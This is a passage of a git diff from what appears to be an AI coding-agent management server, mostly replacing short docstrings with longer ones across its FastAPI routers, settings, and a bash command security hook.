Args: - input_data: Dict containing tool_name and tool_input - tool_use_id: Optional tool use ID - context: Optional context dict with 'project_dir' key - + Pre-tool-use security hook that validates Bash commands against allowlist, blocklist, and additional safety checks. + + Performs layered validation: pre-checks for dangerous shell patterns, extracts command names, enforces organization/project blocklist and allowlist (with pattern support), and runs extra validation for sensitive commands such as `pkill`, `chmod`, and `init.sh`. Records denied commands when blocking decisions are made. + + Parameters: + input_data (dict): Expected to contain "tool_name" and "tool_input" where "tool_input" holds the "command" string to validate. + tool_use_id (Optional[str]): Optional identifier for the tool invocation (not used for decision logic). + context (Optional[dict]): Optional context; if present may include "project_dir" (path string) to apply project-specific configuration and to record denied commands. + Returns: - Empty dict to allow, or {"decision": "block", "reason": "..."} to block + dict: Empty dict to allow execution, or a dict of the form `{"decision": "block", "reason": ""}` to block execution. """ if input_data.get("tool_name") != "Bash": return {} @@ -1060,4 +1067,4 @@ async def bash_security_hook(input_data, tool_use_id=None, context=None): record_denied_command(command, reason, project_dir) return {"decision": "block", "reason": reason} - return {} + return {} \ No newline at end of file diff --git a/server/main.py b/server/main.py index eb6ba08..d1ec254 100644 --- a/server/main.py +++ b/server/main.py @@ -69,7 +69,11 @@ @asynccontextmanager async def lifespan(app: FastAPI): - """Lifespan context manager for startup and shutdown.""" + """ + Manage application startup and shutdown lifecycle tasks. + + On startup, removes leftover agent processes and lock files from previous runs and starts the scheduler. On shutdown, stops the scheduler first, then cleans up managers, assistant and expand sessions, terminals, and dev servers in that order to ensure no new tasks are scheduled before resources are torn down. + """ # Startup - clean up orphaned processes from previous runs (Windows) cleanup_orphaned_agent_processes() @@ -145,12 +149,9 @@ async def lifespan(app: FastAPI): @app.middleware("http") async def basic_auth_middleware(request: Request, call_next): """ - HTTP Basic Auth middleware. - - Enabled when both BASIC_AUTH_USERNAME and BASIC_AUTH_PASSWORD - environment variables are set. - - For WebSocket endpoints, auth is checked in the WebSocket handler. + Enforces HTTP Basic authentication for incoming non-WebSocket HTTP requests. + + WebSocket upgrade requests are skipped. Returns the downstream response when credentials are valid; returns a 401 Response if the Authorization header is missing, malformed, or credentials are invalid. """ # Skip auth for WebSocket upgrade requests (handled separately) if request.headers.get("upgrade", "").lower() == "websocket": @@ -191,7 +192,15 @@ async def basic_auth_middleware(request: Request, call_next): if not ALLOW_REMOTE: @app.middleware("http") async def require_localhost(request: Request, call_next): - """Only allow requests from localhost (disabled when AUTOCODER_ALLOW_REMOTE=1).""" + """ + Reject requests from non-localhost clients by returning a 403 error. + + Raises: + HTTPException: with status code 403 when the request's client host is not a localhost address (127.0.0.1, ::1, or 'localhost'). + + Returns: + The response produced by the downstream request handler. + """ client_host = request.client.host if request.client else None # Allow localhost connections @@ -309,4 +318,4 @@ async def serve_spa(path: str): host="127.0.0.1", # Localhost only for security port=8888, reload=True, - ) + ) \ No newline at end of file diff --git a/server/routers/agent.py b/server/routers/agent.py index 45f8ba7..ebeb8a7 100644 --- a/server/routers/agent.py +++ b/server/routers/agent.py @@ -16,7 +16,15 @@ def _get_project_path(project_name: str) -> Path: - """Get project path from registry.""" + """ + Resolve the filesystem path for a given project using the project registry. + + Parameters: + project_name (str): The project name to look up in the registry. + + Returns: + Path: Filesystem path of the project's directory as provided by the registry. + """ import sys root = Path(__file__).parent.parent.parent if str(root) not in sys.path: @@ -59,7 +67,15 @@ def _get_settings_defaults() -> tuple[bool, str, int]: def get_project_manager(project_name: str): - """Get the process manager for a project.""" + """ + Acquire the process manager for the named project. + + Returns: + The project's process manager instance. + + Raises: + HTTPException: 404 if the project is not registered or its directory does not exist. + """ project_name = validate_project_name(project_name) project_dir = _get_project_path(project_name) @@ -175,4 +191,4 @@ async def resume_agent(project_name: str): success=success, status=manager.status, message=message, - ) + ) \ No newline at end of file diff --git a/server/routers/assistant_chat.py b/server/routers/assistant_chat.py index 3cee67e..77757a6 100644 --- a/server/routers/assistant_chat.py +++ b/server/routers/assistant_chat.py @@ -38,7 +38,15 @@ def _get_project_path(project_name: str) -> Optional[Path]: - """Get project path from registry.""" + """ + Return the filesystem path of a registered project. + + Parameters: + project_name (str): Name of the project to look up. + + Returns: + Optional[Path]: Path to the project's root directory if found, otherwise None. + """ import sys root = Path(__file__).parent.parent.parent if str(root) not in sys.path: @@ -93,7 +101,15 @@ class SessionInfo(BaseModel): @router.get("/conversations/{project_name}", response_model=list[ConversationSummary]) async def list_project_conversations(project_name: str): - """List all conversations for a project.""" + """ + List all conversations for the given project. + + Returns: + List[ConversationSummary]: Conversation summaries for the project. + + Raises: + HTTPException: 400 if `project_name` is invalid; 404 if the project does not exist. + """ if not is_valid_project_name(project_name): raise HTTPException(status_code=400, detail="Invalid project name") @@ -107,7 +123,20 @@ async def list_project_conversations(project_name: str): @router.get("/conversations/{project_name}/{conversation_id}", response_model=ConversationDetail) async def get_project_conversation(project_name: str, conversation_id: int): - """Get a specific conversation with all messages.""" + """ + Retrieve a conversation and its messages for the given project. + + Parameters: + project_name (str): Project identifier to look up. + conversation_id (int): Numeric ID of the conversation to retrieve. + + Returns: + ConversationDetail: Conversation metadata and a list of messages as ConversationMessageModel entries. + + Raises: + HTTPException: 400 if the project name is invalid. + HTTPException: 404 if the project or the conversation is not found. + """ if not is_valid_project_name(project_name): raise HTTPException(status_code=400, detail="Invalid project name") @@ -131,7 +160,18 @@ async def get_project_conversation(project_name: str, conversation_id: int): @router.post("/conversations/{project_name}", response_model=ConversationSummary) async def create_project_conversation(project_name: str): - """Create a new conversation for a project.""" + """ + Create a new conversation for the given project and return its summary. + + Parameters: + project_name (str): The project's registry name. + + Returns: + ConversationSummary: Summary of the newly created conversation (message_count is 0). + + Raises: + HTTPException: 400 if `project_name` is invalid; 404 if the project cannot be found. + """ if not is_valid_project_name(project_name): raise HTTPException(status_code=400, detail="Invalid project name") @@ -152,7 +192,20 @@ async def create_project_conversation(project_name: str): @router.delete("/conversations/{project_name}/{conversation_id}") async def delete_project_conversation(project_name: str, conversation_id: int): - """Delete a conversation.""" + """ + Delete a conversation for a given project. + + Parameters: + project_name (str): Name of the project containing the conversation. + conversation_id (int): Identifier of the conversation to delete. + + Returns: + dict: {"success": True, "message": "Conversation deleted"} on successful deletion. + + Raises: + HTTPException: 400 if the project name is invalid. + HTTPException: 404 if the project does not exist or the conversation is not found. + """ if not is_valid_project_name(project_name): raise HTTPException(status_code=400, detail="Invalid project name") @@ -179,7 +232,18 @@ async def list_active_sessions(): @router.get("/sessions/{project_name}", response_model=SessionInfo) async def get_session_info(project_name: str): - """Get information about an active session.""" + """ + Retrieve information about the active session for a project. + + Parameters: + project_name (str): Project identifier to query. + + Returns: + SessionInfo: The active session's info containing `project_name`, `conversation_id`, and `is_active` set to `True`. + + Raises: + HTTPException: 400 if `project_name` is invalid; 404 if no active session exists for the project. + """ if not is_valid_project_name(project_name): raise HTTPException(status_code=400, detail="Invalid project name") @@ -196,7 +260,18 @@ async def get_session_info(project_name: str): @router.delete("/sessions/{project_name}") async def close_session(project_name: str): - """Close an active session.""" + """ + Close the active assistant session for the specified project. + + Parameters: + project_name (str): Name of the project whose session should be closed. + + Returns: + dict: {"success": True, "message": "Session closed"} on successful closure. + + Raises: + HTTPException: 400 if `project_name` is invalid; 404 if no active session exists for the project. + """ if not is_valid_project_name(project_name): raise HTTPException(status_code=400, detail="Invalid project name") @@ -215,22 +290,28 @@ async def close_session(project_name: str): @router.websocket("/ws/{project_name}") async def assistant_chat_websocket(websocket: WebSocket, project_name: str): """ - WebSocket endpoint for assistant chat. - - Message protocol: - - Client -> Server: - - {"type": "start", "conversation_id": int | null} - Start/resume session - - {"type": "message", "content": "..."} - Send user message - - {"type": "ping"} - Keep-alive ping - - Server -> Client: - - {"type": "conversation_created", "conversation_id": int} - New conversation created - - {"type": "text", "content": "..."} - Text chunk from Claude - - {"type": "tool_call", "tool": "...", "input": {...}} - Tool being called - - {"type": "response_done"} - Response complete - - {"type": "error", "content": "..."} - Error message - - {"type": "pong"} - Keep-alive pong + Handle a WebSocket connection for assistant chat for the specified project. + + This endpoint accepts a persistent WebSocket and implements a simple JSON message protocol to start or resume conversations, forward user messages to the assistant, and stream assistant responses back to the client. + + Client -> Server messages: + - {"type": "start", "conversation_id": int | null} — start a new session or resume if conversation_id provided + - {"type": "resume", "conversation_id": int} — resume an existing conversation without sending the greeting + - {"type": "message", "content": "..."} — send user message to the assistant + - {"type": "ping"} — keep-alive ping + + Server -> Client messages: + - {"type": "conversation_created", "conversation_id": int} — confirms a conversation was created/resumed + - {"type": "text", "content": "..."} — text chunk from the assistant + - {"type": "tool_call", "tool": "...", "input": {...}} — assistant is invoking a tool + - {"type": "response_done"} — assistant finished its response + - {"type": "error", "content": "..."} — error description + - {"type": "pong"} — keep-alive pong + + Behavior notes: + - Invalid project names or missing project directories result in the connection being closed. + - Assistant responses are streamed as JSON chunks. + - On disconnect the server retains session state so the client may resume later. """ # Check authentication if Basic Auth is enabled if not await reject_unauthenticated_websocket(websocket): @@ -378,4 +459,4 @@ async def assistant_chat_websocket(websocket: WebSocket, project_name: str): finally: # Don't remove session on disconnect - allow resume - pass + pass \ No newline at end of file diff --git a/server/routers/devserver.py b/server/routers/devserver.py index cdbe2b0..00b8e72 100644 --- a/server/routers/devserver.py +++ b/server/routers/devserver.py @@ -50,16 +50,16 @@ def _get_project_path(project_name: str) -> Path | None: def get_project_dir(project_name: str) -> Path: """ - Get the validated project directory for a project name. - - Args: - project_name: Name of the project - + Locate and validate the on-disk directory for a project. + + Parameters: + project_name (str): Project identifier to validate and look up. + Returns: - Path to the project directory - + Path: Path to the project's directory. + Raises: - HTTPException: If project is not found or directory does not exist + HTTPException: 404 if the project is not registered or the directory does not exist. """ project_name = validate_project_name(project_name) project_dir = _get_project_path(project_name) @@ -267,4 +267,4 @@ async def update_devserver_config( detected_command=config["detected_command"], custom_command=config["custom_command"], effective_command=config["effective_command"], - ) + ) \ No newline at end of file diff --git a/server/routers/features.py b/server/routers/features.py index 0d25674..4a5016e 100644 --- a/server/routers/features.py +++ b/server/routers/features.py @@ -63,9 +63,11 @@ def _get_db_classes(): @contextmanager def get_db_session(project_dir: Path): """ - Context manager for database sessions. - Ensures session is always closed, even on exceptions. - Properly rolls back on error to prevent PendingRollbackError. + Provide a context manager that yields a database session for a project's database. + + Yields a SQLAlchemy Session bound to the project's database. If an exception is raised inside the context, the session is rolled back before the exception propagates. The session is always closed on exit. + Returns: + session: The SQLAlchemy `Session` instance for the project's database. """ create_database, _ = _get_db_classes() _, SessionLocal = create_database(project_dir) @@ -748,4 +750,4 @@ async def set_dependencies(project_name: str, feature_id: int, update: Dependenc raise except Exception: logger.exception("Failed to set dependencies") - raise HTTPException(status_code=500, detail="Failed to set dependencies") + raise HTTPException(status_code=500, detail="Failed to set dependencies") \ No newline at end of file diff --git a/server/routers/filesystem.py b/server/routers/filesystem.py index 1a4f70e..932918b 100644 --- a/server/routers/filesystem.py +++ b/server/routers/filesystem.py @@ -163,7 +163,17 @@ def is_path_blocked(path: Path) -> bool: def is_hidden_file(path: Path) -> bool: - """Check if a file/directory is hidden (cross-platform).""" + """ + Determine whether the given filesystem path refers to a hidden file or directory. + + Performs Unicode NFKC normalization on the final path component; names starting with '.' are treated as hidden (Unix-style), and on Windows the FILE_ATTRIBUTE_HIDDEN attribute is also considered. + + Parameters: + path (Path): Filesystem path to check. + + Returns: + bool: `True` if the path is considered hidden, `False` otherwise. + """ # Normalize name to prevent Unicode bypass attacks name = normalize_name(path.name) @@ -185,7 +195,12 @@ def is_hidden_file(path: Path) -> bool: def matches_blocked_pattern(name: str) -> bool: - """Check if filename matches a blocked pattern.""" + """ + Determine whether a filename matches any configured blocked or hidden pattern. + + Returns: + `true` if the normalized name matches any configured pattern, `false` otherwise. + """ # Normalize name to prevent Unicode bypass attacks normalized_name = normalize_name(name) for pattern in HIDDEN_PATTERNS: @@ -528,4 +543,4 @@ async def get_home_directory(): return { "path": home.as_posix(), "display_path": str(home), - } + } \ No newline at end of file diff --git a/server/routers/projects.py b/server/routers/projects.py index 8129e2d..b1a2720 100644 --- a/server/routers/projects.py +++ b/server/routers/projects.py @@ -83,7 +83,15 @@ def _get_registry_functions(): def get_project_stats(project_dir: Path) -> ProjectStats: - """Get statistics for a project.""" + """ + Compute statistics for a project. + + Parameters: + project_dir (Path): Path to the project's root directory. + + Returns: + ProjectStats: Aggregated test statistics containing `passing`, `in_progress`, `total`, and `percentage` (rounded to one decimal place). + """ _init_imports() passing, in_progress, total = _count_passing_tests(project_dir) percentage = (passing / total * 100) if total > 0 else 0.0 @@ -127,7 +135,27 @@ async def list_projects(): @router.post("", response_model=ProjectSummary) async def create_project(project: ProjectCreate): - """Create a new project at the specified path.""" + """ + Create a new project directory and register it in the project registry. + + Validate the requested project name and path, ensure the path is not already + registered or blocked, create the directory if needed, scaffold project prompts, + and register the project. + + Parameters: + project (ProjectCreate): Payload containing the desired project `name` and `path`. + + Returns: + ProjectSummary: Summary of the newly created project with `has_spec` set to `False` + and zeroed statistics. + + Raises: + HTTPException: + - 409 if the project name or path is already registered. + - 403 if the path is in a blocked/system location. + - 400 if the path exists but is not a directory. + - 500 if directory creation or registry registration fails. + """ _init_imports() register_project, _, get_project_path, list_registered_projects, _ = _get_registry_functions() @@ -206,19 +234,23 @@ async def create_project(project: ProjectCreate): @router.post("/import", response_model=ProjectSummary) async def import_project(project: ProjectCreate): """ - Import/reconnect to an existing project after reinstallation. - - This endpoint allows reconnecting to a project that exists on disk - but is not registered in the current autocoder installation's registry. - - The project path must: - - Exist as a directory - - Contain a .autocoder folder (indicating it was previously an autocoder project) - - This is useful when: - - Reinstalling autocoder - - Moving to a new machine - - Recovering from registry corruption + Register an existing on-disk Autocoder project in the current registry. + + Validates the provided project name and path, ensures the path exists, is a directory, is an Autocoder project (contains a `.autocoder` folder), is not blocked, and that neither the name nor the path are already registered before registering the project and returning its summary. + + Parameters: + project (ProjectCreate): Object containing `name` (desired project name) and `path` (filesystem path to the existing project). + + Returns: + ProjectSummary: Summary of the registered project containing `name`, `path`, `has_spec`, and `stats`. + + Raises: + HTTPException: + - 409 if the project name is already registered or the path is already registered under another name. + - 404 if the provided path does not exist. + - 400 if the path exists but is not a directory, or if it lacks a `.autocoder` folder. + - 403 if the path is a blocked/system-sensitive directory. + - 500 if registration fails due to an internal error. """ _init_imports() register_project, _, get_project_path, list_registered_projects, _ = _get_registry_functions() @@ -301,7 +333,18 @@ async def import_project(project: ProjectCreate): @router.get("/{name}", response_model=ProjectDetail) async def get_project(name: str): - """Get detailed information about a project.""" + """ + Retrieve detailed metadata and status for a registered project. + + Parameters: + name (str): Registered project name to look up. + + Returns: + ProjectDetail: Object containing the project's name, filesystem path, whether an app spec exists (`has_spec`), computed statistics (`stats`), and the prompts directory path (`prompts_dir`). + + Raises: + HTTPException: 404 if the project name is not registered or the project directory no longer exists on disk. + """ _init_imports() _, _, get_project_path, _, _ = _get_registry_functions() @@ -330,11 +373,19 @@ async def get_project(name: str): @router.delete("/{name}") async def delete_project(name: str, delete_files: bool = False): """ - Delete a project from the registry. - - Args: - name: Project name to delete - delete_files: If True, also delete the project directory and files + Remove a project from the registry and optionally delete its on-disk files. + + Parameters: + name (str): Name of the project to remove. + delete_files (bool): If True, remove the project's directory and all contents from disk. + + Returns: + dict: A status payload with keys `success` (`True`) and `message` describing the outcome. + + Raises: + HTTPException(404): If the project name is not registered. + HTTPException(409): If the project has a running agent (presence of `.agent.lock`). + HTTPException(500): If deleting the project files fails. """ _init_imports() _, unregister_project, get_project_path, _, _ = _get_registry_functions() @@ -372,26 +423,21 @@ async def delete_project(name: str, delete_files: bool = False): @router.post("/{name}/reset") async def reset_project(name: str, full_reset: bool = False): """ - Reset a project to its initial state. - - This clears all features, assistant chat history, and settings. - Use this to restart a project from scratch without having to re-register it. - - Args: - name: Project name to reset - full_reset: If True, also deletes prompts directory for complete fresh start - - Always Deletes: - - features.db (feature tracking database) - - assistant.db (assistant chat history) - - .claude_settings.json (agent settings) - - .claude_assistant_settings.json (assistant settings) - - When full_reset=True, Also Deletes: - - prompts/ directory (app_spec.txt, initializer_prompt.md, coding_prompt.md) - - Preserves: - - Project registration in registry + Reset a registered project by removing runtime data and, optionally, its prompts. + + Removes persistent runtime files (databases and agent/assistant settings). If `full_reset` is True, + also removes the project's prompts directory. This operation preserves the project's registry entry. + + Parameters: + name (str): The registered project name to reset. + full_reset (bool): If True, also delete the project's `prompts/` directory. + + Returns: + dict: A summary of the reset with keys: + - `success` (bool): Whether the reset completed. + - `message` (str): Human-readable result message. + - `deleted_files` (List[str]): Names of files/directories removed. + - `full_reset` (bool): Mirrors the input `full_reset` flag. """ _init_imports() _, _, get_project_path, _, _ = _get_registry_functions() @@ -460,11 +506,19 @@ async def reset_project(name: str, full_reset: bool = False): @router.post("/{name}/open-in-ide") async def open_project_in_ide(name: str, ide: str): - """Open a project in the specified IDE. - - Args: - name: Project name - ide: IDE to use ('vscode', 'cursor', or 'antigravity') + """ + Open the named project directory in the specified IDE. + + Parameters: + name (str): Registered project name to open. + ide (str): IDE identifier to launch; one of "vscode", "cursor", or "antigravity". + + Returns: + dict: A status payload with keys `status` and `message` describing the action. + + Raises: + HTTPException: If the project is not registered or its directory is missing, if `ide` is invalid, + if the IDE executable cannot be found on PATH, or if launching the IDE fails. """ _init_imports() _, _, get_project_path, _, _ = _get_registry_functions() @@ -519,7 +573,21 @@ async def open_project_in_ide(name: str, ide: str): @router.get("/{name}/prompts", response_model=ProjectPrompts) async def get_project_prompts(name: str): - """Get the content of project prompt files.""" + """ + Return the text contents of a project's prompt files. + + Parameters: + name (str): Project name; will be validated and looked up in the project registry. + + Returns: + ProjectPrompts: Object containing: + - app_spec (str): Contents of `app_spec.txt` or empty string if missing or unreadable. + - initializer_prompt (str): Contents of `initializer_prompt.md` or empty string if missing or unreadable. + - coding_prompt (str): Contents of `coding_prompt.md` or empty string if missing or unreadable. + + Raises: + HTTPException: 404 if the project is not registered or its directory does not exist. + """ _init_imports() _, _, get_project_path, _, _ = _get_registry_functions() @@ -582,7 +650,18 @@ def write_file(filename: str, content: str | None): @router.get("/{name}/stats", response_model=ProjectStats) async def get_project_stats_endpoint(name: str): - """Get current progress statistics for a project.""" + """ + Return summary statistics for the named project. + + Parameters: + name (str): Project name to look up (will be validated). + + Returns: + ProjectStats: Aggregated project statistics including passing, in_progress, total, and percent. + + Raises: + HTTPException: 404 if the project is not registered or its directory does not exist. + """ _init_imports() _, _, get_project_path, _, _ = _get_registry_functions() @@ -600,10 +679,14 @@ async def get_project_stats_endpoint(name: str): @router.get("/{name}/db-health", response_model=DatabaseHealth) async def get_database_health(name: str): - """Check database health for a project. - - Returns integrity status, journal mode, and any errors. - Use this to diagnose database corruption issues. + """ + Check the SQLite database health for a named project. + + Returns: + DatabaseHealth: Health report containing integrity status, journal mode, and any detected errors. + + Raises: + HTTPException: 404 if the project is not registered or the project directory does not exist. """ _, _, get_project_path, _, _ = _get_registry_functions() @@ -634,13 +717,32 @@ async def get_database_health(name: str): # ============================================================================= def get_knowledge_dir(project_dir: Path) -> Path: - """Get the knowledge directory for a project.""" + """ + Get the project's knowledge directory path. + + Parameters: + project_dir (Path): Root directory of the project. + + Returns: + Path: Path pointing to the 'knowledge' subdirectory inside the project directory. + """ return project_dir / "knowledge" @router.get("/{name}/knowledge", response_model=KnowledgeFileList) async def list_knowledge_files(name: str): - """List all knowledge files for a project.""" + """ + List markdown knowledge files stored for the specified project. + + Parameters: + name (str): Project name to resolve and enumerate knowledge files for. + + Returns: + KnowledgeFileList: An object containing `files` (list of knowledge file records with `name`, `size` in bytes, and `modified` datetime) and `count` (number of files). Returns an empty list and count 0 if the knowledge directory does not exist. + + Raises: + HTTPException: 404 if the project is not registered or the project directory does not exist. + """ _init_imports() _, _, get_project_path, _, _ = _get_registry_functions() @@ -677,7 +779,19 @@ async def list_knowledge_files(name: str): @router.get("/{name}/knowledge/{filename}", response_model=KnowledgeFileContent) async def get_knowledge_file(name: str, filename: str): - """Get the content of a specific knowledge file.""" + """ + Retrieve the UTF-8 content of a project's knowledge markdown file. + + Parameters: + name (str): Project name to look up in the registry. + filename (str): Markdown filename to read; must match the pattern `^[a-zA-Z0-9_\-\.]+\.md$`. + + Returns: + KnowledgeFileContent: Object containing the `name` (filename) and `content` of the file. + + Raises: + HTTPException: 400 if the filename is invalid; 404 if the project, project directory, or file is not found; 500 if the file cannot be read. + """ _init_imports() _, _, get_project_path, _, _ = _get_registry_functions() @@ -709,7 +823,22 @@ async def get_knowledge_file(name: str, filename: str): @router.post("/{name}/knowledge", response_model=KnowledgeFileContent) async def upload_knowledge_file(name: str, file: KnowledgeFileUpload): - """Upload a knowledge file to a project.""" + """ + Save an uploaded knowledge file into the project's knowledge directory. + + Parameters: + name (str): Project name used to locate the project directory. + file (KnowledgeFileUpload): Uploaded file payload. Expected fields: + - filename: target filename to write under the project's knowledge directory. + - content: UTF-8 text content to write to the file. + + Returns: + KnowledgeFileContent: The written file's `filename` and `content`. + + Raises: + HTTPException: 404 if the project is not registered or its directory is missing. + HTTPException: 500 if writing the file fails. + """ _init_imports() _, _, get_project_path, _, _ = _get_registry_functions() @@ -736,7 +865,19 @@ async def upload_knowledge_file(name: str, file: KnowledgeFileUpload): @router.delete("/{name}/knowledge/{filename}") async def delete_knowledge_file(name: str, filename: str): - """Delete a knowledge file from a project.""" + """ + Remove a markdown knowledge file from the specified project. + + Parameters: + name (str): Registered project name. + filename (str): Name of the markdown file to delete (must match pattern `^[a-zA-Z0-9_\-\.]+\.md$`). + + Returns: + dict: {"success": True, "message": ""} on successful deletion. + + Raises: + HTTPException: 400 if `filename` is invalid; 404 if the project or file is not found; 500 if deletion fails. + """ _init_imports() _, _, get_project_path, _, _ = _get_registry_functions() @@ -763,4 +904,4 @@ async def delete_knowledge_file(name: str, filename: str): filepath.unlink() return {"success": True, "message": f"Deleted '{filename}'"} except Exception as e: - raise HTTPException(status_code=500, detail=f"Failed to delete file: {e}") + raise HTTPException(status_code=500, detail=f"Failed to delete file: {e}") \ No newline at end of file diff --git a/server/routers/schedules.py b/server/routers/schedules.py index 9ebf7b0..7e2aca4 100644 --- a/server/routers/schedules.py +++ b/server/routers/schedules.py @@ -29,7 +29,15 @@ def _get_project_path(project_name: str) -> Path: - """Get project path from registry.""" + """ + Resolve the filesystem path for a project using the registry. + + Parameters: + project_name (str): The project name to resolve. + + Returns: + Path: Filesystem path to the project's root directory. + """ root = Path(__file__).parent.parent.parent if str(root) not in sys.path: sys.path.insert(0, str(root)) @@ -46,14 +54,17 @@ def _get_project_path(project_name: str) -> Path: @contextmanager def _get_db_session(project_name: str) -> Generator[Tuple[Session, Path], None, None]: - """Get database session for a project as a context manager. - - Usage: - with _get_db_session(project_name) as (db, project_path): - # ... use db ... - # db is automatically closed - - Properly rolls back on error to prevent PendingRollbackError. + """ + Provide a project-scoped SQLAlchemy session and the project's filesystem path as a context manager. + + Yields: + (db, project_path) (tuple[Session, Path]): `db` is an active SQLAlchemy Session bound to the project's database; `project_path` is the resolved project directory Path. + + Details: + - Validates `project_name` before resolving the project path. + - Raises HTTPException(status_code=404) if the project is not registered or the project directory does not exist. + - If an exception occurs while the caller is using the yielded session, the session is rolled back before the exception is re-raised. + - The session is always closed when the context manager exits. """ from api.database import create_database @@ -85,7 +96,18 @@ def _get_db_session(project_name: str) -> Generator[Tuple[Session, Path], None, @router.get("", response_model=ScheduleListResponse) async def list_schedules(project_name: str): - """Get all schedules for a project.""" + """ + Retrieve all schedules for a project. + + Parameters: + project_name (str): Project name to list schedules for; validated and resolved to a project-specific database. + + Returns: + ScheduleListResponse: Object containing a list of schedules, each with full schedule fields including id, project_name, start_time, duration_minutes, days_of_week, enabled, yolo_mode, model, max_concurrency, crash_count, and created_at. + + Raises: + HTTPException: 404 if the project is not found or its project directory is missing. + """ from api.database import Schedule with _get_db_session(project_name) as (db, _): @@ -115,7 +137,15 @@ async def list_schedules(project_name: str): @router.post("", response_model=ScheduleResponse, status_code=201) async def create_schedule(project_name: str, data: ScheduleCreate): - """Create a new schedule for a project.""" + """ + Create a new schedule for a project and register it with the scheduler if the schedule is enabled. + + Returns: + ScheduleResponse: The created schedule, including server-assigned fields such as `id`, `max_concurrency`, `crash_count`, and `created_at`. + + Raises: + HTTPException: If the project has reached the maximum allowed schedules (400). + """ from api.database import Schedule from ..services.scheduler_service import get_scheduler @@ -262,7 +292,12 @@ async def get_next_scheduled_run(project_name: str): @router.get("/{schedule_id}", response_model=ScheduleResponse) async def get_schedule(project_name: str, schedule_id: int): - """Get a single schedule by ID.""" + """ + Retrieve a schedule for the given project by its numeric ID. + + Returns: + ScheduleResponse: The schedule data including `id`, `project_name`, `start_time`, `duration_minutes`, `days_of_week`, `enabled`, `yolo_mode`, `model`, `max_concurrency`, `crash_count`, and `created_at`. + """ from api.database import Schedule with _get_db_session(project_name) as (db, _): @@ -295,7 +330,17 @@ async def update_schedule( schedule_id: int, data: ScheduleUpdate ): - """Update an existing schedule.""" + """ + Update fields of an existing schedule and synchronize scheduler jobs. + + Updates only fields provided in `data`, persists changes, and re-registers or removes the schedule from the scheduler as needed. + + Returns: + ScheduleResponse: The updated schedule record. + + Raises: + HTTPException: Raised with status code 404 if the schedule is not found for the given project. + """ from api.database import Schedule from ..services.scheduler_service import get_scheduler @@ -404,4 +449,4 @@ def _calculate_next_start(schedule, now: datetime) -> datetime | None: return candidate candidate = candidate + timedelta(days=1) - return None + return None \ No newline at end of file diff --git a/server/routers/settings.py b/server/routers/settings.py index 2e43dca..9b8fa60 100644 --- a/server/routers/settings.py +++ b/server/routers/settings.py @@ -63,14 +63,13 @@ def _is_ollama_mode() -> bool: @router.get("/models", response_model=ModelsResponse) async def get_available_models(): - """Get list of available models. - - Frontend should call this to get the current list of models - instead of hardcoding them. - - Returns appropriate models based on the configured API mode: - - Ollama mode: Returns Ollama models (llama, codellama, etc.) - - Claude mode: Returns Claude models (opus, sonnet) + """ + Return the available model list and the default model based on the configured API mode. + + Selects Ollama models and DEFAULT_OLLAMA_MODEL when Ollama mode is active; otherwise selects Claude models and DEFAULT_MODEL. + + Returns: + ModelsResponse: Object containing the list of available ModelInfo entries and the default model id. """ if _is_ollama_mode(): return ModelsResponse( @@ -101,7 +100,12 @@ def _parse_bool(value: str | None, default: bool = False) -> bool: def _get_default_model() -> str: - """Get the appropriate default model based on API mode.""" + """ + Return the default model name for the currently configured API mode. + + Returns: + default_model (str): The Ollama default model when Ollama mode is active; otherwise the standard default model. + """ return DEFAULT_OLLAMA_MODEL if _is_ollama_mode() else DEFAULT_MODEL @@ -123,7 +127,25 @@ async def get_settings(): @router.patch("", response_model=SettingsResponse) async def update_settings(update: SettingsUpdate): - """Update global settings.""" + """ + Apply partial updates to global settings from the provided update object. + + Parameters: + update (SettingsUpdate): Object containing optional fields to update; only fields that are not None are persisted: + - yolo_mode (bool): enable or disable YOLO mode + - model (str): selected model name + - testing_agent_ratio (int): ratio used for testing agent selection + - preferred_ide (str | None): preferred IDE identifier + + Returns: + SettingsResponse: The current global settings after applying updates, including: + - yolo_mode (bool) + - model (str) + - glm_mode (bool) + - ollama_mode (bool) + - testing_agent_ratio (int) + - preferred_ide (str | None) + """ if update.yolo_mode is not None: set_setting("yolo_mode", "true" if update.yolo_mode else "false") @@ -151,10 +173,11 @@ async def update_settings(update: SettingsUpdate): @router.get("/denied-commands", response_model=DeniedCommandsResponse) async def get_denied_commands_list(): - """Get list of recently denied commands. - - Returns the last 100 commands that were blocked by the security system. - Useful for debugging and understanding what commands agents tried to run. + """ + Retrieve recent security-denied commands. + + Returns: + DeniedCommandsResponse: Contains `commands` — a list of denied command entries (each with `command`, `reason`, `timestamp`, and `project_dir`) and `count` — the total number of entries. """ denied = get_denied_commands() return DeniedCommandsResponse( @@ -173,6 +196,11 @@ async def get_denied_commands_list(): @router.delete("/denied-commands") async def clear_denied_commands_list(): - """Clear the denied commands history.""" + """ + Clear the stored history of denied commands. + + Returns: + dict: A dictionary with the key `status` set to `'cleared'` indicating the denied commands history was cleared. + """ clear_denied_commands() - return {"status": "cleared"} + return {"status": "cleared"} \ No newline at end of file diff --git a/server/routers/spec_creation.py b/server/routers/spec_creation.py index 03f8fad..005a662 100644 --- a/server/routers/spec_creation.py +++ b/server/routers/spec_creation.py @@ -33,7 +33,12 @@ def _get_project_path(project_name: str) -> Path: - """Get project path from registry.""" + """ + Resolve the filesystem path for the given project name by querying the project registry. + + Returns: + Path: The filesystem path to the project's directory. + """ import sys root = Path(__file__).parent.parent.parent if str(root) not in sys.path: @@ -63,7 +68,17 @@ async def list_spec_sessions(): @router.get("/sessions/{project_name}", response_model=SpecSessionStatus) async def get_session_status(project_name: str): - """Get status of a spec creation session.""" + """ + Return status information for the spec creation session for a given project. + + Returns: + SpecSessionStatus: Session activity state including `project_name`, `is_active`, + `is_complete`, and `message_count`. + + Raises: + HTTPException: 400 if `project_name` is invalid. + HTTPException: 404 if there is no active session for the specified project. + """ if not is_valid_project_name(project_name): raise HTTPException(status_code=400, detail="Invalid project name") @@ -81,7 +96,19 @@ async def get_session_status(project_name: str): @router.delete("/sessions/{project_name}") async def cancel_session(project_name: str): - """Cancel and remove a spec creation session.""" + """ + Cancel an active spec creation session for the given project. + + Parameters: + project_name (str): Name of the project whose spec creation session should be cancelled. Must be a valid project name. + + Returns: + dict: {"success": True, "message": "Session cancelled"} when a session was removed. + + Raises: + HTTPException: with status code 400 if `project_name` is invalid. + HTTPException: with status code 404 if there is no active session for `project_name`. + """ if not is_valid_project_name(project_name): raise HTTPException(status_code=400, detail="Invalid project name") @@ -105,10 +132,20 @@ class SpecFileStatus(BaseModel): @router.get("/status/{project_name}", response_model=SpecFileStatus) async def get_spec_file_status(project_name: 